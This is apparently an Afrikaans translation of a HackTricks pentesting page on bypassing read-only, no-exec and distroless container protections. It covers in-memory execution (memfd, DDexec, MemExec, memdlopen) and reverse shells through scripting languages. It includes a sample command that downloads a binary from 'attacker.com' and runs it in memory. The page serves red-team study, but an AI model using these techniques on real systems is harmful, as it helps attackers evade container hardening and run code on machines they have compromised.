.. | ||
ddexec.md | ||
README.md |
Bypass FS protections: read-only / no-exec / Distroless
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PR's in te dien na die HackTricks en HackTricks Cloud github repos.
As jy belangstel in 'n hacking loopbaan en om die onhackbare te hack - ons huur aan! (vloeiende Pools geskryf en gesproke vereis).
{% embed url="https://www.stmcyber.com/careers" %}
Videos
In die volgende video's kan jy die tegnieke wat op hierdie bladsy genoem word, meer in diepte verduidelik vind:
- DEF CON 31 - Verkenning van Linux Geheue Manipulasie vir Stealth en Ontvlugting
- Stealth indringings met DDexec-ng & in-geheue dlopen() - HackTricks Track 2023
read-only / no-exec scenario
Dit is al hoe meer algemeen om Linux masjiene te vind wat gemonteer is met read-only (ro) lêerstelsel beskerming, veral in houers. Dit is omdat dit so maklik is om 'n houer met 'n ro lêerstelsel te laat loop deur readOnlyRootFilesystem: true
in die securitycontext
in te stel:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Tog, selfs al is die lêerstelsel as ro gemonteer, sal /dev/shm
steeds skryfbaar wees, so dit is vals dat ons nie iets op die skyf kan skryf nie. Hierdie gids sal egter gemonteer wees met no-exec beskerming, so as jy 'n binêre hier aflaai, sal jy nie in staat wees om dit uit te voer nie.
{% hint style="warning" %}
Van 'n rooi span perspektief maak dit dit moeilik om binêre af te laai en uit te voer wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos kubectl
).
{% endhint %}
Easiest bypass: Scripts
Let daarop dat ek binêre genoem het, jy kan enige skrip uitvoer solank die interpreter binne die masjien is, soos 'n shell skrip as sh
teenwoordig is of 'n python skrip as python
geïnstalleer is.
Tog is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê om te loop, uit te voer nie.
Memory Bypasses
As jy 'n binêre wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur dit uit geheue uit te voer, aangesien die beskermings daar nie van toepassing is nie.
FD + exec syscall bypass
As jy 'n paar kragtige skrip enjin in die masjien het, soos Python, Perl, of Ruby, kan jy die binêre aflaai om uit geheue uit te voer, dit in 'n geheue lêer beskrywer (create_memfd
syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan 'n exec
syscall aanroep wat die fd as die lêer om uit te voer aandui.
Vir hierdie kan jy maklik die projek fileless-elf-exec gebruik. Jy kan dit 'n binêre gee en dit sal 'n skrip in die aangeduide taal genereer met die binêre gecomprimeer en b64 geënkodeer met die instruksies om dit te dekodeer en te dekomprimeer in 'n fd wat geskep is deur create_memfd
syscall aan te roep en 'n oproep na die exec syscall om dit te laat loop.
{% hint style="warning" %}
Dit werk nie in ander skrip tale soos PHP of Node nie omdat hulle nie enige default manier het om rou syscalls van 'n skrip aan te roep nie, so dit is nie moontlik om create_memfd
aan te roep om die geheue fd te skep om die binêre te stoor nie.
Boonop sal die skep van 'n regte fd met 'n lêer in /dev/shm
nie werk nie, aangesien jy nie toegelaat sal word om dit te laat loop nie omdat die no-exec beskerming van toepassing sal wees.
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExec is 'n tegniek wat jou toelaat om die geheue van jou eie proses te modifiseer deur sy /proc/self/mem
te oorskryf.
Daarom, deur die samestelling kode wat deur die proses uitgevoer word, te beheer, kan jy 'n shellcode skryf en die proses "mutate" om enige arbitrêre kode uit te voer.
{% hint style="success" %} DDexec / EverythingExec sal jou toelaat om jou eie shellcode of enige binêre uit geheue te laai en uit te voer. {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
For more information about this technique check the Github or:
{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}
MemExec
Memexec is die natuurlike volgende stap van DDexec. Dit is 'n DDexec shellcode demonised, so elke keer wanneer jy 'n verskillende binêre wil uitvoer, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec tegniek uitvoer en dan kommunikeer met hierdie demon om nuwe binêre te stuur om te laai en uit te voer.
Jy kan 'n voorbeeld vind van hoe om memexec te gebruik om binêre van 'n PHP reverse shell uit te voer in https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
Met 'n soortgelyke doel as DDexec, laat die memdlopen tegniek 'n gemakliker manier om binêre in geheue te laai om later uit te voer. Dit kan selfs toelaat om binêre met afhanklikhede te laai.
Distroless Bypass
Wat is distroless
Distroless houers bevat slegs die bare minimum komponente wat nodig is om 'n spesifieke toepassing of diens te laat loop, soos biblioteke en runtime afhanklikhede, maar sluit groter komponente soos 'n pakketbestuurder, skulp of stelseldienste uit.
Die doel van distroless houers is om die aanvaloppervlak van houers te verminder deur onnodige komponente te verwyder en die aantal kwesbaarhede wat uitgebuit kan word, te minimaliseer.
Reverse Shell
In 'n distroless houer mag jy nie eers sh
of bash
vind om 'n gewone skulp te kry nie. Jy sal ook nie binêre soos ls
, whoami
, id
... vind nie, alles wat jy gewoonlik in 'n stelsel uitvoer.
{% hint style="warning" %} Daarom, jy sal nie in staat wees om 'n reverse shell te kry of die stelsel te enumerate soos jy gewoonlik doen nie. {% endhint %}
As die gecompromitteerde houer egter byvoorbeeld 'n flask web loop, dan is python geïnstalleer, en daarom kan jy 'n Python reverse shell kry. As dit node loop, kan jy 'n Node rev shell kry, en dieselfde met byna enige scripting taal.
{% hint style="success" %} Met die scripting taal kan jy die stelsel enumerate met behulp van die taal se vermoëns. {% endhint %}
As daar geen read-only/no-exec
beskermings is nie, kan jy jou reverse shell misbruik om in die lêerstelsel jou binêre te skryf en uit te voer.
{% hint style="success" %} In hierdie tipe houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die vorige geheue-uitvoertegnieke gebruik om dit te omseil. {% endhint %}
Jy kan voorbeelde vind van hoe om sommige RCE kwesbaarhede te benut om scripting tale reverse shells te kry en binêre uit geheue uit te voer in https://github.com/carlospolop/DistrolessRCE.
As jy belangstel in 'n hacking loopbaan en die onhackable te hack - ons huur aan! (vloeiend Pools geskryf en gesproke vereis).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.